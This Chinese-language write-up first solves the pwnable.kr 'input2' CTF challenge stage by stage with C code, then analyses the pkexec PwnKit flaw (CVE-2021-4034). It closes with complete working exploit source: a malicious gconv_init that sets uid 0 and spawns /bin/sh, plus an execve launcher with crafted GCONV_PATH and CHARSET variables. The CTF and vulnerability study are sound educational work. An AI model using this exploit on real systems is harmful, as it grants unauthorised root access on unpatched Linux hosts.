一
input2 分析
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");// here's your flag
system("/bin/cat flag");
return 0;
}
分为5个stage,需要依次解决。
命令行执行程序调用的是execve
系统调用,其函数原型如下所示,第一个参数是运行程序文件名,第二个参数是argv[]
,第三个参数是envp[]
.同时,检测的是main函数的argc
和argv。
int execve(const char *filename, char *const argv[],
char *const envp[]);int main( int argc, char *argv[ ] ) { /* … */ }
main函数的第一个参数argc
表示的是命令行参数个数。argv
则是命令行参数argv[0]= filename
。
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
1.argc == 100
2.argv['A'] == '\x00'
3.argv['B'] == '\x20\x0a\x0d'
翻译一下:
char *argv[101] = {"/home/input2/input", [1 ... 99] = "A", NULL};
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";execve("/home/input2/input",argv,NULL);
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
ssize_t read(int fd, void *buf, size_t count);
read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.
int memcmp(const void *s1, const void *s2, size_t n);
the memcmp() function compares the first n bytes (each interpreted as unsigned char) of the memory areas s1 and s2.
即:
1.从标准输入流读取字符串写入内存,和\x00\x0a\x00\xff
比较。
2.从标准错误流读取字符串写入内存和\x00\x0a\x02\xff
比较。
fd = 0 很好解决,stdin,直接输入即可;fd = 2的输入不是很好解决,但是pwntools
提供了对应的接口,如果没有pwntools,应该怎么实现?
1.dup函数可以实现IO重定向。
2.使用open函数可以获取到一个fd,将字符串写入文件。
因此有:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>int main() {
int fd1 = open("./stdin", O_RDONLY);
int fd2 = open("./stderr", O_RDONLY);dup2(fd1, 0); // 将文件描述符fd1重定向到标准输入
dup2(fd2, 2); // 将文件描述符fd2重定向到标准错误close(fd1);
close(fd2);char *argv[101] = {"/home/input2/input", [1 ... 99] = "A", NULL};
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";execve("/home/input2/input",argv,NULL);
return 0;
}
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
上述execve函数已经讲过,因此直接添加即可:
char *env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
execve("/home/input/input",argv,env);
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
基本文件流操作:
FILE* fp = fopen("\x0a","w");
fwrite("\x00\x00\x00\x00",4,1,fp);
fclose(fp);
需要注意的是,能写入的目录只有/tmp,如何才能读取到想要的文件是需要考虑一下的。
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
1.saddr.sin_port = htons( atoi(argv['C']) );
监听端口通过环境变量获取。
2.通过socket接收到的内容是\xde\xad\xbe\xef。
argv['C'] = "10010";
int sockfd;
struct sockaddr_in server;
sockfd = socket(AF_INET,SOCK_STREAM,0);
if ( sockfd < 0){
perror("Cannot create the socket");
exit(1);
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("pwnable.kr");
server.sin_port = htons(55555);
if ( connect(sockfd, (struct sockaddr*) &server, sizeof(server)) < 0 ){
perror("Problem connecting");
exit(1);
}
char buf[4] = "\xde\xad\xbe\xef";
write(sockfd,buf,4);
close(sockfd);
需要注意的是,最后一步由于远程防火墙问题,pwntools是连不上去的,只有提交到本地之后才可以,另外,由于我们的目录在/tmp
,而读取的flag
并不在,需要想办法获取对应的内容,一个好的方法是软连接。
二
总结 & pkexec(CVE-2021-4034)浅析
本道题包含的知识点比较多文件IO,进程通信,网络通信均有涉及,如果对此不是很了解建议翻阅CSAPP相关章节。
另在整理本题时想到一个比较简单的漏洞和本题有一定相似性,借此把之前的简单分析也放出来,可以看看真实漏洞和习题的异同。
结论:
1.增加了argc < 1
的校验。
2.修改了argv[n]
的检测逻辑 ,ifargv[n] != null
thenargv[n] = s。
问题:
1.什么情况下argc 会小于1 ?
2.什么情况下argv == null
?
/* argc.c */
#include <stdio.h>
#include <unistd.h>
int main (int argc, char **argv) {
printf("argc: %d\n", argc);
for (int i = 0; i < argc; i++)
{
if (argv[i] != NULL)
{
printf("argv[%d]: %s\n", i, argv[i]);
} else {
printf("argv[%d]: NULL\n", i);
}
}
return 0;
}
如果执行argc 1 2 3 4 5
得到结果是:
{~/pkexec-CVE-2021-4034} greetings, earthling [33.059kb]$ ☞ ./argc 1 2 3 4 5
argc: 6
argv: ./argc
argv: 1
argv: 2
argv: 3
argv: 4
argv: 5
/* execve.c */
#include <stdio.h>
#include <unistd.h>
int main () {char* const argv[] = {
"AAAA1111",
"BBBB2222",
"CCCC3333",
NULL
};
char* const envp[] = {
"DDDD3333",
"EEEE4444",
"FFFF5555",
NULL
};
// return execve("./argc", {NULL}, {NULL});
return execve("./argc", argv, envp);
}
如果执行execve("./argc", NULL, NULL)
得到的结果是:
xiaochen {~/pkexec-CVE-2021-4034} greetings, earthling [33.059kb]$ ☞ ./execve
argc: 0
如果将argc.c
中for (int i = 0; i < argc; i++)
改为for (int i = 0; i < 8; i++)
执行argc 1 2 3 4 5
结果是:
{~/pkexec-CVE-2021-4034} greetings, earthling [33.059kb]$ ☞ ./argc 1 2 3 4
argc: 5
argv[0]: ./argc
argv[1]: 1
argv[2]: 2
argv[3]: 3
argv[4]: 4
argv[5]: NULL
argv[6]: USER=xiaochen
argv[7]: __CFBundleIdentifier=com.microsoft.VSCode
后面的结果是什么?
如果设定argv和envp参数,执行execve.c
得到的结果是:
{~/pkexec-CVE-2021-4034} greetings, earthling [33.059kb]$ ☞ ./execve
argc: 3
argv[0]: AAAA1111
argv[1]: BBBB2222
argv[2]: CCCC3333
argv[3]: NULL
argv[4]: DDDD3333
argv[5]: EEEE4444
argv[6]: FFFF5555
argv[7]: NULL
execve系统调用中连续的参数为argc argv 以及 envp
如下图所示:
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
结论:
如果存在应用,直接使用argv[1]而未对参数进行校验,那么如果此时使用execve
执行命令 传递参数为NULL,*
那么此时:
1.argc = 0。
2.应用程序会错误读取envp[0]
作为对应的argv[1]
,即存在 out-of-boundsargv[1] = envp[0]。
可以查看一篇slide(https://www.slideshare.net/SilvioCesare/simple-bugs-and-vulnerabilities-in-linux-distributions)
小结:
1.目前已知信息:pkexec存在越界读envp作为argv的可能性。
提权?
(1)如果普通用户执行具有suid权限应用比如passwd,那么其efftive id = root
,real id = user
. 即具有suid权限应用可以被普通用户启动,并且运行权限会被修改为root。
那么如果想办法使用环境变量启动一个bash,这个bash就能具有root权限,可利用环境变量有哪些?
LD_PRELOAD
看起来很简单?直接使用LD_PRELOAD是否可行?
(2)NO
/* env.c */
#include <stdio.h>
int main() {
system("env");
return 0;
}
#!/bin/bash
export GCONV_PATH=AAAA0001
export GETCONF_DIR=AAAA0002
export HOSTALIASES=AAAA0003
export LD_AUDIT=AAAA0004
export LD_DEBUG=AAAA0005
export LD_DEBUG_OUTPUT=AAAA0006
export LD_DYNAMIC_WEAK=AAAA0007
export LD_HWCAP_MASK=AAAA0008
export LD_LIBRARY_PATH=AAAA0009
export LD_ORIGIN_PATH=AAAA0010
export LD_PRELOAD=AAAA0011
export LD_PROFILE=AAAA0012
export LD_SHOW_AUXV=AAAA0013
export LD_USE_LOAD_BIAS=AAAA0014
export LOCALDOMAIN=AAAA0015
export LOCPATH=AAAA0016
export MALLOC_TRACE=AAAA0017
export NIS_PATH=AAAA0018
export NLSPATH=AAAA0019
export RESOLV_HOST_CONF=AAAA0020
export RES_OPTIONS=AAAA0021
export TMPDIR=AAAA0022
export TZDIR=AAAA0023
export PATH=AAAA1001:/usr/bin
export SHELL=AAAA1002
export CHARSET=AAAA1003
export BBBB=AAAA1004
结论:环境变量中,不安全的环境变量不会被引入。
那么如何把shell写进入呢?
漏洞发现者提出了一种巧妙的方法(https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)。
The answer to our question comes from pkexec's complexity: to print an
error message to stderr, pkexec calls the GLib's function g_printerr()
(note: the GLib is a GNOME library, not the GNU C Library, aka glibc);
for example, the functions validate_environment_variable() and
log_message() call g_printerr() (at lines 126 and 408-409):
88 log_message (gint level,
89 gboolean print_to_stderr,
90 const gchar *format,
91 ...)
92 {
...
125 if (print_to_stderr)
126 g_printerr ("%s\n", s);
383 validate_environment_variable (const gchar *key,
384 const gchar *value)
385 {
...
406 log_message (LOG_CRIT, TRUE,
407 "The value for the SHELL variable was not found the /etc/shells file");
408 g_printerr ("\n"
409 "This incident has been reported.\n");
g_printerr()
正常情况下是为了以UTF-8编码格式打印错误信息。CHARSET != UTF-8
,它同样能够以其他编码方式打印错误信息。(CHARSET 环境变量不属于不安全环境变量)g_printerr()
会调用glibc的iconv_open()
函数将UTF-8格式的信息转为其他格式。iconv_open()
会调用一个共享库函数。gconv()
函数和gconv_init()
函数。GCONV_PATH
可以强制指定iconv_open()
读取某一个特定的共享库。GCONV_PATH
是不安全函数,不会被加载到程序中。GCONV_PATH
环境变量重新载入。为什么?到目前位置所知道的信息:
g_printerr()
会使用iconv_open()
加载某一个共享库识别其他字符,并且可以通过GCONV_PATH
环境变量控制共享库的路径。到这里,基本上就已经明确了所有步骤:
g_printerr()
,触发具有shell的so。
回到源码,分析调用链。
for (n = 1; n < (guint) argc; n++)
path = g_strdup (argv[n]);
/
开头,进去判断居于s = g_find_program_in_path (path);
注g_find_program_in_path()
是 Glib函数,作用在 PATH 环境变量的目录中搜索一个名为path
的文件。argv[n] = path = s
if (!validate_environment_variable (key, value))
会对环境变量进行合法性校验,此时如果报错会调用g_printerr()
if (clearenv () != 0)
假设存在环境变量PATH=name
,如果name
存在,并且name
目录中有一个名为path
的文件,传递给envp[0]。
如果PATH=name=.
并且有一个目录name=.
,此目录中有一个shell.so:.
,那么这个shell.so:.
会被传递给argv[1]
->envp[0]。
如果在开始,使用execve()
执行pkexec,并且传递第一个参数为NULL
,那么 在第二步,一开始读取的argv[1] 实际上是envp[0]。
并且后续会找到一个可执行文件传递给s,继而传递给argv[1]
,注意argv[1]指向的实际上是第一个环境变量。
通过这种方式,就能修改掉第一个环境变量。
// pwnkit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>void gconv(void) {
}void gconv_init(void *step)
{
char * const args[] = { "/bin/sh", NULL };
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}
// exp.c
#include <unistd.h>int main(int argc, char **argv)
{
char * const args[] = {
NULL
};
char * const environ[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/lol/i/do/not/exists",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",
NULL
};
return execve("/usr/bin/pkexec", args, environ);
}
构造环境变量如上图,按POC所叙述,
pwnkit.so:.
传递给g_find_program_in_path()
函数,在环境变量中PATH
的目录GCONV_PATH=.
中寻找pwnkit.so:.
,最后找到的以PATH目录为起始位置的路径是GCONV_PATH=./pwnkit.so:.。
envp[0]
。GCONV_PATH=./pwnkit.so:.。
SHELL
环境变量构造报错,调用g_printer()
函数。CHARSET != UTF8
所以会调用iconv_open()
函数。GCONV_PATH
所以此时会将./pwnkit.so
错误的作为库函数加载并执行。https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt